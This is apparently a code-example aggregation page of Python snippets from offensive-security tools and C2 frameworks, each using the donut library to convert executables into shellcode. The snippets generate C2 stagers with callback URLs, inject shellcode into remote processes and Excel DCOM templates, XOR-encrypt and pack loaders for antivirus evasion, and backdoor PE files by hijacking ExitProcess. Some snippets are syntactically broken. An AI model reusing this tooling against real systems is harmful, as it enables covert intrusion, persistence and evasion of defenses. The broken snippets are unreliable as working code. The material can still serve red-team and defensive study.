예제 #1
0
    def CreateDonutShellcodeFile(self, payloadtype, name=""):
        if payloadtype == PayloadType.Posh_v2:
            sourcefile = "dropper_cs_ps_v2.exe"
        elif payloadtype == PayloadType.Posh_v4:
            sourcefile = "dropper_cs_ps_v4.exe"
        elif payloadtype == PayloadType.PBind:
            sourcefile = "dropper_cs_ps_pbind_v4.exe"
        elif payloadtype == PayloadType.Sharp:
            sourcefile = "dropper_cs.exe"
        elif payloadtype == PayloadType.PBindSharp:
            sourcefile = "pbind_cs.exe"

        shellcode32 = donut.create(file=f"{self.BaseDirectory}{name}{sourcefile}", arch=1)
        if shellcode32:
            output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x86_Shellcode.bin", 'wb')
            output_file.write(shellcode32)
            output_file.close()
            self.QuickstartLog("Payload written to: %s%s%s_Donut_x86_Shellcode.b64" % (self.BaseDirectory, name, payloadtype.value))
            output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x86_Shellcode.b64", 'w')
            output_file.write(base64.b64encode(shellcode32).decode("utf-8"))
            output_file.close()
            self.QuickstartLog("Payload written to: %s%s%s_Donut_x86_Shellcode.bin" % (self.BaseDirectory, name, payloadtype.value))

        shellcode64 = donut.create(file=f"{self.BaseDirectory}{name}{sourcefile}", arch=2)
        if shellcode64:
            output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x64_Shellcode.bin", 'wb')
            output_file.write(shellcode64)
            output_file.close()
            self.QuickstartLog("Payload written to: %s%s%s_Donut_x64_Shellcode.b64" % (self.BaseDirectory, name, payloadtype.value))

            output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x64_Shellcode.b64", 'w')
            output_file.write(base64.b64encode(shellcode64).decode("utf-8"))
            output_file.close()
            self.QuickstartLog("Payload written to: %s%s%s_Donut_x64_Shellcode.bin" % (self.BaseDirectory, name, payloadtype.value))
예제 #2
0
    def run(self):
        # file = self.param(FILE_OPTION.get('name'))
        # pe_file_path = MsfFile.absolute_path(file.get("name"))
        pe_file_path = self.get_option_filepath()
        if pe_file_path is None:
            self.log_error("非docker部署不支持此模块,请使用原版donut工具")
            return

        arch = self.param("ARCH")
        params = self.param("ARGUMENTS")

        cls = self.param("cls")
        method = self.param("method")

        if params is None:
            params = ""
        try:
            if cls is not None and method is not None:
                self.log_status(".NET DLL 模式")
                shellcode = donut.create(
                    file=pe_file_path,
                    arch=arch,
                    cls=cls,
                    method=method,
                    params=params,
                )
            else:
                shellcode = donut.create(
                    file=pe_file_path,
                    arch=arch,
                    params=params,
                )
        except Exception as E:
            self.log_error("donut运行异常!")
            self.log_except(E)
            return
        if shellcode is None:
            self.log_error("donut无法转换此文件!")
            return

        if self.param("shellcodefilename") is not None:
            output_filename = "{}.bin".format(self.param("shellcodefilename"))
        else:
            output_filename = "{}.bin".format(
                os.path.splitext(self.get_option_filename())[0])
        if FileMsf.write_msf_file(output_filename, shellcode):
            self.log_good("转换完成,新文件名 : {}".format(output_filename))
        else:
            self.log_error("shellcode写入文件失败")
        try:
            os.remove("loader.bin")
        except Exception as E:
            print(E)
예제 #3
0
    def payload(self):
        listener = ipc_server.publish_event(
            Events.GET_LISTENERS, (self.options['Listener']['Value'], ))
        if listener:
            c2_urls = ','.join(
                filter(None, [
                    f"{listener.name}://{listener['BindIP']}:{listener['Port']}",
                    listener['CallBackURls']
                ]))

            guid = uuid.uuid4()
            psk = gen_stager_psk()
            ipc_server.publish_event(Events.SESSION_REGISTER, (guid, psk))

            donut_shellcode = donut.create(
                file=get_path_in_package('core/teamserver/data/naga.exe'),
                params=f"{guid};{psk};{c2_urls}",
                arch=2
                if self.options['Architecture']['Value'] == 'x64' else 1)
            shellcode = shellcode_to_hex_byte_array(donut_shellcode)
            with open(
                    get_path_in_package(
                        'core/teamserver/modules/boo/src/excel4dcom.boo')
            ) as module_src:
                src = module_src.read()
                src = src.replace('SHELLCODE', shellcode)
                src = src.replace('TARGET', self.options['Target']['Value'])
                src = src.replace('ARCH',
                                  self.options['Architecture']['Value'])
                return src
        else:
            print_bad(
                f"Listener '{self.options['Listener']['Value']}' not found!")
예제 #4
0
async def donut_handler(services, args):
    """Handle donut special payloads

    Creates .donut files from the .donut.exe files created by the
    builder plugin

    :param services: CALDERA services
    :type services: dict
    :param args: HTTP request arguments
    :type args: multidict
    :return: Payload, display name
    :rtype: string, string
    """
    donut_file = args.get('file')
    exe_path = await _get_exe_path(services, donut_file)
    if exe_path:
        donut_dir, _ = os.path.split(exe_path)
        donut_path = os.path.join(donut_dir, donut_file)
        parameters = await _get_parameters(services.get('data_svc'),
                                           donut_file, args.get('X-Link-Id'))
        shellcode = donut.create(file=exe_path, params=parameters)
        _write_shellcode_to_file(shellcode, donut_path)
    else:
        print(
            '[!] No executable found for donut payload: {}'.format(donut_file))

    return donut_file, donut_file
예제 #5
0
    def payload(self):
        listener = ipc_server.publish_event(
            events.GET_LISTENERS, (self.options['Listener']['Value'], ))
        if listener:
            c2_urls = ','.join(
                filter(None, [
                    f"{listener.name}://{listener['BindIP']}:{listener['Port']}",
                    listener['CallBackURls']
                ]))

            guid = uuid.uuid4()
            psk = gen_stager_psk()
            ipc_server.publish_event(events.SESSION_REGISTER, (guid, psk))

            donut_shellcode = donut.create(
                file='./core/teamserver/data/naga.exe',
                params=f"{guid};{psk};{c2_urls}",
                arch=2
                if self.options['Architecture']['Value'] == 'x64' else 1)
            shellcode = shellcode_to_int_byte_array(donut_shellcode)
            #if self.options['InjectionMethod']['Value'] == 'InjectRemote':
            with open('core/teamserver/modules/boo/src/injectremote.boo',
                      'r') as module_src:
                src = module_src.read()
                src = src.replace('BYTES', shellcode)
                src = src.replace('PROCESS', self.options['Process']['Value'])
                return src
        else:
            print_bad(
                f"Listener '{self.options['Listener']['Value']}' not found!")
예제 #6
0
    def generate(self, listener):
        with open(get_path_in_package('core/teamserver/data/naga.exe'),
                  'rb') as assembly:
            guid = uuid.uuid4()
            psk = gen_stager_psk()

            c2_urls = ','.join(
                filter(None, [
                    f"{listener.name}://{listener['BindIP']}:{listener['Port']}",
                    listener['CallBackURls']
                ]))

            arch = 3

            # User can specify 64-bit or 32-bit
            if self.options['Architecture']['Value'] == 'x64':
                arch = 2
            elif self.options['Architecture']['Value'] == 'x86':
                arch = 1

            donut_shellcode = donut.create(
                file=get_path_in_package('core/teamserver/data/naga.exe'),
                params=f"{guid};{psk};{c2_urls}",
                arch=arch)

            shellcode = shellcode_to_hex_string(donut_shellcode)

            return guid, psk, shellcode
예제 #7
0
def creador_de_donuts(Input_File, Output_File, Params, Arch, Bypass):
    shellcode = donut.create(file=str(Input_File),
                             params=str(Params),
                             arch=(Arch),
                             bypass=(Bypass))
    f = open(Output_File, "wb")
    f.write(shellcode)
    f.close()
    print(Color.YELLOW + '[+] Donut generated successfully: ' +
          args.Output_File)
예제 #8
0
파일: donut.py 프로젝트: pviossat/stockpile
async def donut_handler(services, args) -> (str, str):
    _, file_name = await services.get('file_svc').find_file_path(
        args.get('file'), location='payloads')
    dir_path, donut_ext = os.path.split(file_name)
    exe_path = os.path.join(dir_path, '%s.exe' % donut_ext.split('.')[0])
    os.replace(src=file_name, dst=exe_path)
    shellcode = donut.create(file=exe_path)
    _write_shellcode_to_file(shellcode, exe_path)
    os.replace(src=exe_path, dst=file_name)
    return donut_ext, donut_ext  # payload, display_name
예제 #9
0
def generateShellcode(args, arch):

    #In Donut x86=1 and amd64=2, not using x64+x86 since
    #sometimes compiling for "Any Computer" does weird things.
    if arch == "x86":
        donutArch = 1
    else:
        donutArch = 2

    #If user provided source code is a DLL, make sure update
    # the target param for MCS compilation
    if args.methodName:
        target = "library"
    else:
        target = "exe"

    #Generate random string for temp file storage
    randStr = ''.join(
        random.choice(string.ascii_letters)
        for x in range(random.randrange(6, 12)))
    randExeName = "_excelntdonut_" + randStr + ".exe"
    randBinName = "_excelntdonut_" + randStr + ".bin"

    #Using MCS to compile into .NET assembly
    print("[i] Generating your " + arch + " .NET assembly.")
    cmd = "mcs /unsafe /target:" + target + " /platform:" + arch + " /sdk:4 /out:" + randExeName
    if args.references:
        cmd += " /reference:" + args.references
    cmd += " " + args.inputFileName
    pipe = subprocess.Popen(cmd,
                            shell=True,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE)
    stdout, stderr = pipe.communicate()
    if stderr:
        if "error" in stderr.decode('utf-8'):
            print(stderr.decode('utf-8'))
            print("[x] Error in generating " + arch +
                  " .NET assembly using MCS. See error message above.")
            sys.exit()

    #Using donut to transform into bin file (shellcode)
    #Note: not using Donut's AMSI bypass since XLM doesn't require it + in case it's signatured
    print("[i] Generating shellcode from " + arch + " .NET assembly file.")
    s = donut.create(file=randExeName,
                     arch=donutArch,
                     bypass=1,
                     cls=args.className,
                     method=args.methodName)
    os.system("rm " + randExeName)
    with open(randBinName, 'wb+') as f:
        f.write(s)

    return randBinName
예제 #10
0
파일: cmd.py 프로젝트: FlaviuPopescu/Ninja
 def migrate(self, args=None):
     if config.get_pointer()=='main':
         print ("you can't use this command in main ! chose an agent")
         return
     global loaded
     shellcode=donut.create(file="payloads/dropper_cs.exe")
     fp = open('agents/Migrator.ninja', 'r')
     temp = fp.read()
     temp=temp.replace('{shellcode}',base64.b64encode(shellcode).decode("utf-8")).replace('{class}',"".join([random.choice(string.ascii_uppercase) for i in range(5)]))
     output=open('Modules/Migrator.ps1', 'w')
     output.write(temp)
     output.close()
     config.COMMAND[config.get_pointer()].append(encrypt(config.AESKey,"load Migrator.ps1"))
예제 #11
0
    def generate_python_shellcode(self, posh_code, arch='both', dot_net_version='net40'):
        """
        Generate ironpython shellcode using donut python module
        """
        if arch == 'x86':
            arch_type = 1
        elif arch == 'x64':
            arch_type = 2
        elif arch == 'both':
            arch_type = 3

        directory = self.generate_python_exe(posh_code, dot_net_version)
        shellcode = donut.create(file=directory, arch=arch_type)
        return shellcode
예제 #12
0
    def generate_python_shellcode(self,
                                  posh_code,
                                  arch="both",
                                  dot_net_version="net40"):
        """
        Generate ironpython shellcode using donut python module
        """
        if arch == "x86":
            arch_type = 1
        elif arch == "x64":
            arch_type = 2
        elif arch == "both":
            arch_type = 3

        directory = self.generate_python_exe(posh_code, dot_net_version)
        shellcode = donut.create(file=directory, arch=arch_type)
        return shellcode
예제 #13
0
    def generate(self, listener):

        guid = uuid.uuid4()
        psk = gen_stager_psk()

        c2_urls = ','.join(
            filter(None, [f"{listener.name}://{listener['BindIP']}:{listener['Port']}", listener['CallBackURls']])
            )

        #Determine which architecture to use.
        #Default is amd64+86 (dual-mode)
        arch = 3

        #User can specify 64-bit or 32-bit
        if self.options['Architecture']['Value'] == 'x64':
            arch = 2
        elif self.options['Architecture']['Value'] == 'x86':
            arch = 1

        # Create the shellcode using donut
        donut_shellcode = donut.create(file=get_path_in_package('core/teamserver/data/naga.exe'), params=f"{guid};{psk};{c2_urls}", arch=arch)

        if self.options['Format']['Value'] == 'raw':
                try:
                    f = open("shellcode.bin", "wb")
                    f.write(donut_shellcode)
                    f.close()
                    with open(get_path_in_package('../shellcode.bin'), 'rb') as bin:
                         return guid, psk, bin.read().decode('latin-1')
                finally:
                     os.remove("shellcode.bin")

        elif self.options['Format']['Value'] == 'int':
            shellcode = shellcode_to_int_byte_array(donut_shellcode)
            return guid, psk, shellcode

        elif self.options['Format']['Value'] == 'hex':
            shellcode = shellcode_to_hex_byte_array(donut_shellcode)
            return guid, psk, shellcode
예제 #14
0
import donut
import argparse
import os
import base64

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-f", "--filename", action="store", help="input file")
    parser.add_argument("-o", "--output", action="store", help="output file")

    args = parser.parse_args()

    if not args.output or not args.filename:
        parser.print_help()
        exit()

    shellcode = donut.create(file=args.filename)

    payload = base64.b64encode(shellcode)

    text_file = open(args.output, 'w')
    text_file.write(payload.decode('utf-8'))
    text_file.close
예제 #15
0
def generateShellcode(args, arch):

	#In Donut x86=1 and amd64=2, not using x64+x86 since
	#sometimes compiling for "Any Computer" does weird things.
	if arch == "x86":
		donutArch = 1
	else:
		donutArch = 2

	#If user provided source code is a DLL, make sure update
	# the target param for MCS compilation
	if args.methodName:
		target = "library"
	else:
		target = "exe"

	#Generate random string for temp file storage
	randStr = ''.join(random.choice(string.ascii_letters) for x in range(random.randrange(6, 12)))
	randExeName = "_excelntdonut_" + randStr + ".exe"
	randBinName = "_excelntdonut_" + randStr + ".bin"
	randBinName2 = "_excelntdonut_" + randStr + "2.bin"

	#Using MCS to compile into .NET assembly
	print("[i] Generating your " + arch + " .NET assembly.")
	cmd = "mcs /unsafe /target:" + target + " /platform:" + arch + " /sdk:4 /out:" + randExeName 
	if args.references:
		cmd += " /reference:" + args.references
	cmd += " " + args.inputFileName
	pipe = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	stdout, stderr = pipe.communicate()
	if stderr:
		if "error" in stderr.decode('utf-8'):
			print(stderr.decode('utf-8'))
			print("[x] Error in generating " + arch + " .NET assembly using MCS. See error message above.")
			sys.exit()

	#Using donut to transform into bin file (shellcode)
	#Note: not using Donut's AMSI bypass since XLM doesn't require it + in case it's signatured
	print("[i] Generating shellcode from " + arch + " .NET assembly file.")
	s = donut.create(file=randExeName, arch=donutArch, bypass=1, cls=args.className, method=args.methodName)
	os.system("rm " + randExeName)
	with open(randBinName,'wb+') as f:
		f.write(s)

	#Using msfvenom to remove nullbytes from shellcode (XLM won't support nullbytes)
	#This might take a while to run. 
	#Consider updating to just arch/xor_dynamic encoder since seems to work best
	print("[i] Removing null bytes from " + arch + " shellcode with msfvenom")
	cmd = "cat " + randBinName + " | msfvenom -p - -a " + arch + " --platform windows -b '\\x00' -f raw -o " + randBinName2 
	os.system(cmd)
	pipe = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
	stdout, stderr = pipe.communicate()

	#Make sure virtualloc enough space. Default to 65536.
	#Suppose we could make the size dynamic.
	try:
		payloadSize = int(stderr.split(b"Payload size: ")[1].split(b" bytes")[0].decode('utf-8'))
		size = 65536
		while payloadSize > size:
			size *= 2
	except:
		print("[x] Error removing null bytes.")
		print(stderr)
		sys.exit()
	os.system("rm " + randBinName)


	#Read in shellcocde file (no null bytes) and create string
	print("[i] Null bytes removed for " + arch + ".")
	with open(randBinName2,'rb') as f:
		binary = f.read().decode('ISO-8859-1')
	os.system("rm " + randBinName2)

	#Create EXCEL string with CHAR() for shellcode
	#Max 255 per cell, so chunk, then process into =CHAR(2)&CHAR(234) format
	#https://gist.githubusercontent.com/Arno0x/1ec189d6bee3e92fdef1d72a72899b1d/raw/b97a190d4b88c502347d074b08d624a76621b314/transformFile.py
	column = ''
	count = 1
	if arch == "x86":
		chunkSize = 255
	else:
		chunkSize = 10
	for chunk in chunks(binary, chunkSize):
		column += '='
		for b in chunk:
			column += 'CHAR({})&'.format(ord(b))
		column = column[0:-1] + '\r\n'
		count += 1
	column += 'excel\r\n'
	count += 1
	count = str(count)

	return column, size, count
예제 #16
0
        arch = "x64"
        donut_id = 2
    elif sys.argv[2] == "x86":
        arch = "x86"
        donut_id = 1
except:
    pass

# PARSE FILENAME (TAKES FULL PATH AND CURRENT DIR)

filename = os.fspath(sys.argv[1])
print(f"[!] Generating {arch} shellcode from file:\n    {filename}")
files = [f for f in os.listdir('.') if os.path.isfile(f)]

if filename not in files:
    sc = donut.create(file=filename, arch=donut_id)
    if sc is None:
        print(f"\n[-] Cannot find file:\n    {filename}\n\
    Ensure that file is either in current directory or full path is specified!"
              )
        sys.exit(1)
else:
    sc = donut.create(file=filename, arch=donut_id)

# WRITE SHELLCODE
head, tail = ntpath.split(filename)
sc_filename = tail.split('.')[0] + '{}'.format(arch) + '.bin'
sc_filepath = os.path.join(os.getcwd(), sc_filename)
filesc = open(sc_filepath, 'wb')
length = filesc.write(sc)
filesc.close()
예제 #17
0
    def generate(self):
        self.options.pop("Output", None)  # clear the previous output
        # staging options
        language = self.options["Language"]["Value"]
        user_agent = self.options["UserAgent"]["Value"]
        proxy = self.options["Proxy"]["Value"]
        proxy_creds = self.options["ProxyCreds"]["Value"]
        stager_retries = self.options["StagerRetries"]["Value"]
        listener_name = self.options["Listener"]["Value"]
        stager_retries = self.options["StagerRetries"]["Value"]
        dot_net_version = self.options["DotNetVersion"]["Value"]
        bypasses = self.options["Bypasses"]["Value"]
        obfuscate = self.options["Obfuscate"]["Value"]
        obfuscate_command = self.options["ObfuscateCommand"]["Value"]
        outfile = self.options["OutFile"]["Value"]
        arch = self.options["Architecture"]["Value"]

        if not self.mainMenu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return "[!] Invalid listener: " + listener_name

        else:
            obfuscate_script = False
            if obfuscate.lower() == "true":
                obfuscate_script = True

        # generate the PowerShell one-liner with all of the proper options set
        launcher = self.mainMenu.stagers.generate_launcher(
            listener_name,
            language=language,
            encode=False,
            obfuscate=obfuscate_script,
            obfuscationCommand=obfuscate_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            stagerRetries=stager_retries,
            bypasses=bypasses,
        )
        if launcher == "":
            return "[!] Error in launcher generation."
        else:
            if not launcher or launcher.lower() == "failed":
                return "[!] Error in launcher command generation."

        if language.lower() == "powershell":
            shellcode = self.mainMenu.stagers.generate_powershell_shellcode(
                launcher, arch=arch, dot_net_version=dot_net_version
            )
            return shellcode

        elif language.lower() == "csharp":
            if arch == "x86":
                arch_type = 1
            elif arch == "x64":
                arch_type = 2
            elif arch == "both":
                arch_type = 3

            directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"
            shellcode = donut.create(file=directory, arch=arch_type)
            return shellcode

        elif language.lower() == "python":
            shellcode = self.mainMenu.stagers.generate_python_shellcode(
                launcher, arch=arch, dot_net_version=dot_net_version
            )
            return shellcode

        else:
            return "[!] Invalid launcher language."
예제 #18
0
    def generate(self):
        self.options.pop('Output', None)  # clear the previous output
        # staging options
        language = self.options['Language']['Value']
        user_agent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxy_creds = self.options['ProxyCreds']['Value']
        stager_retries = self.options['StagerRetries']['Value']
        listener_name = self.options['Listener']['Value']
        stager_retries = self.options['StagerRetries']['Value']
        dot_net_version = self.options['DotNetVersion']['Value']
        bypasses = self.options['Bypasses']['Value']
        obfuscate = self.options['Obfuscate']['Value']
        obfuscate_command = self.options['ObfuscateCommand']['Value']
        outfile = self.options['OutFile']['Value']
        arch = self.options['Architecture']['Value']

        if not self.mainMenu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return "[!] Invalid listener: " + listener_name

        else:
            obfuscate_script = False
            if obfuscate.lower() == "true":
                obfuscate_script = True

        # generate the PowerShell one-liner with all of the proper options set
        launcher = self.mainMenu.stagers.generate_launcher(
            listener_name,
            language=language,
            encode=False,
            obfuscate=obfuscate_script,
            obfuscationCommand=obfuscate_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            stagerRetries=stager_retries,
            bypasses=bypasses)
        if launcher == "":
            return "[!] Error in launcher generation."
        else:
            if not launcher or launcher.lower() == "failed":
                return "[!] Error in launcher command generation."

        if language.lower() == 'powershell':
            shellcode = self.mainMenu.stagers.generate_powershell_shellcode(
                launcher, arch=arch, dot_net_version=dot_net_version)
            return shellcode

        elif language.lower() == 'csharp':
            if arch == 'x86':
                arch_type = 1
            elif arch == 'x64':
                arch_type = 2
            elif arch == 'both':
                arch_type = 3

            directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"
            shellcode = donut.create(file=directory, arch=arch_type)
            return shellcode

        elif language.lower() == 'python':
            shellcode = self.mainMenu.stagers.generate_python_shellcode(
                launcher, arch=arch, dot_net_version=dot_net_version)
            return shellcode

        else:
            return "[!] Invalid launcher language."
예제 #19
0
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        # staging options
        listener_name = params["Listener"]
        pid = params["pid"]
        user_agent = params["UserAgent"]
        proxy = params["Proxy"]
        proxy_creds = params["ProxyCreds"]
        launcher_obfuscation_command = params["ObfuscateCommand"]
        language = params["Language"]
        dot_net_version = params["DotNetVersion"].lower()
        parentproc = params["parentproc"]
        arch = params["Architecture"]
        launcher_obfuscation = params["Obfuscate"]

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " +
                                        listener_name)

        launcher = main_menu.stagers.generate_launcher(
            listener_name,
            language=language,
            encode=False,
            obfuscate=launcher_obfuscation,
            obfuscationCommand=launcher_obfuscation_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
        )

        if not launcher or launcher == "" or launcher.lower() == "failed":
            return handle_error_message("[!] Invalid listener: " +
                                        listener_name)

        if language.lower() == "powershell":
            shellcode = main_menu.stagers.generate_powershell_shellcode(
                launcher, arch=arch, dot_net_version=dot_net_version)

        elif language.lower() == "csharp":
            if arch == "x86":
                arch_type = 1
            elif arch == "x64":
                arch_type = 2
            elif arch == "both":
                arch_type = 3
            directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"
            shellcode = donut.create(file=directory, arch=arch_type)

        elif language.lower() == "python":
            if dot_net_version == "net35":
                return (
                    None,
                    "[!] IronPython agent only supports NetFramework 4.0 and above.",
                )
            shellcode = main_menu.stagers.generate_python_shellcode(
                launcher, arch=arch, dot_net_version="net40")

        base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8")

        compiler = main_menu.loadedPlugins.get("csharpserver")
        if not compiler.status == "ON":
            return None, "csharpserver plugin not running"

        # Convert compiler.yaml to python dict
        compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
        # delete the 'Empire' key
        del compiler_dict[0]["Empire"]
        # convert back to yaml string
        compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)

        file_name = compiler.do_send_message(compiler_yaml, module.name)
        if file_name == "failed":
            return None, "module compile failed"

        script_file = (main_menu.installPath +
                       "/csharp/Covenant/Data/Tasks/CSharp/Compiled/" +
                       (params["DotNetVersion"]).lower() + "/" + file_name +
                       ".compiled")

        script_end = f",/t:1 /pid:{pid} /f:base64 /sc:{base64_shellcode}"
        return f"{script_file}|{script_end}", None
예제 #20
0
#!/usr/bin/env python3

import donut
import os
import base64
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)

# generate shellcode
shellcode = donut.create(file="xc.exe")
base64shellcode = base64.b64encode(shellcode)

# place shellcode into load.go
os.system("cp load.go load.go.bak")

with open("load.go") as f:
    temp = f.read().replace('<base64shellcode>', base64shellcode.decode())

with open("load.go", "w") as f:
    f.write(temp)

# compile & cleanup
os.system("GOOS=windows GOARCH=amd64 go build -o xcs.exe load.go")
os.system("rm loader.bin; rm xc.exe")
os.system("upx xcs.exe -o xc.exe")
os.system("cp load.go.bak load.go; rm load.go.bak; rm xcs.exe")
예제 #21
0
        byte = key_tab[i%4]
        t = ch ^ byte
        encrypted += bytes([t])
        i += 1
    return encrypted

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage:", sys.argv[0], "<PE file>")
        print("Usage:", sys.argv[1], "dotNet")
        exit(-1)
    pefile = sys.argv[1]
    if sys.argv[1] == null
        payload = open(pefile, 'rb').read()
    else
        shellcode = donut.create(pefile)
    print("[*] Encrypting payload...")
    encrypted = xor(payload)

    print("[*] Compressing payload...")
    encrypted = zlib.compress(encrypted)

    print("[*] Generating source file...")
    encrypted = ''.join(format(c, '02x') for c in encrypted)
    plain = payload[0:10]
    known_bytes = ''.join(format(c, '02x') for c in plain)
    source = stub_go.peloader.format(encrypted, known_bytes)
    repl = '''/*
#cgo CFLAGS: -IMemoryModule
#cgo LDFLAGS: MemoryModule/build/MemoryModule.a
#include "MemoryModule/MemoryModule.h"
예제 #22
0
    temp = []
    for i in range(0, len(data)):
        temp.append(data[i] ^ key[i % len(key)])
    encrypted = bytes(temp)
    encoded = base64.b64encode(encrypted)
    return encoded


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description='Adds AV evasion to PE files)')
    parser.add_argument('infile', type=str, help='input file (shellcode)')
    parser.add_argument('outfile', type=str, help='output file (executeable)')
    args = parser.parse_args()

    shellcode = donut.create(file=args.infile)
    os.system("cp load.go load.go.bak")
    with open("load.go") as f:
        temp = f.read()
        temp = temp.replace('§shellcode§', bake(shellcode).decode())
        temp = temp.replace('§key§', base64.b64encode(key).decode())

        pattern = r"§(.*)§"
        matches = re.finditer(pattern, temp, re.MULTILINE)
        for matchNum, match in enumerate(matches, start=1):
            placeholder = match.group()
            temp = temp.replace(
                placeholder,
                bake(bytes(placeholder.replace('§', ''),
                           encoding='utf8')).decode())
예제 #23
0
def inject_payload(target, payload, output):
    global LOADER_SHELLCODE

    if not is_payload_valid(payload):
        print("Error: Payload needs to be relocatable.")
        return

    if not is_target_valid(target):
        print(
            "Error: No executable section found that has enough slack space.")
        return

    payload = donut.create(file=payload, arch=1)

    if not payload:
        print("Error: Payload couldn't be turned into shellcode.")
        return

    pe = pefile.PE(target)
    code_section_index = get_appropriate_section_index(pe)
    last_section_index = pe.FILE_HEADER.NumberOfSections - 1
    file_alignment = pe.OPTIONAL_HEADER.FileAlignment

    # Let's increase the size of the code section
    code_section = pe.sections[code_section_index]
    old_end_of_code_offset = code_section.PointerToRawData + code_section.Misc_VirtualSize
    code_section.Misc_VirtualSize += len(LOADER_SHELLCODE)

    # Let's make room for our payload in the last section
    old_section_end = pe.sections[
        last_section_index].PointerToRawData + pe.sections[
            last_section_index].SizeOfRawData
    pe.sections[last_section_index].Misc_VirtualSize = align(
        pe.sections[last_section_index].Misc_VirtualSize + len(payload),
        file_alignment)
    pe.sections[last_section_index].SizeOfRawData = align(
        pe.sections[last_section_index].SizeOfRawData + len(payload),
        file_alignment)
    pe.OPTIONAL_HEADER.SizeOfImage = pe.sections[
        last_section_index].Misc_VirtualSize + pe.sections[
            last_section_index].VirtualAddress
    pe.merge_modified_section_data()

    # We need to resize the file next to have enough space
    pe = save_and_reload_pe_image(pe, "stage1_sections_resized.exe", True)

    # Disable ASLR
    pe.OPTIONAL_HEADER.DllCharacteristics &= ~pefile.DLL_CHARACTERISTICS[
        "IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE"]

    # Redirect ExitProcess to our shellcode loader
    call_target = struct.pack("<I",
                              get_iat_entry(pe, "kernel32", b"ExitProcess"))
    shellcode_target = struct.pack("<I",
                                   offset_to_va(pe, old_end_of_code_offset))
    search_pattern = b'\xff\x25' + call_target
    replace_pattern = b'\x68' + shellcode_target + b'\xc3'  # PUSH shellcode_target; RET
    pe.set_bytes_at_rva(
        code_section.VirtualAddress,
        code_section.get_data().replace(search_pattern, replace_pattern))
    pe.merge_modified_section_data()
    pe = save_and_reload_pe_image(pe, "stage2_execution_flow_redirected.exe")

    # Place our shellcodified payload in the new space at the end of the old last section
    pe.set_bytes_at_offset(old_section_end, payload)
    pe.merge_modified_section_data()

    # Figure out where our payload is located and patch loader in
    payload_address = struct.pack("<I", offset_to_va(pe, old_section_end))
    LOADER_SHELLCODE = LOADER_SHELLCODE.replace(struct.pack("<I", 0xDEADF00D),
                                                payload_address)
    LOADER_SHELLCODE = LOADER_SHELLCODE.replace(
        struct.pack("<I", 0xDEADFEED), struct.pack("<I", len(payload)))
    pe.set_bytes_at_offset(old_end_of_code_offset, LOADER_SHELLCODE)
    pe.merge_modified_section_data()
    pe = save_and_reload_pe_image(pe, "stage3_shellcodes_patched_in.exe")  #

    # Fix the checksum and write it out
    pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum()
    pe.write(filename=output)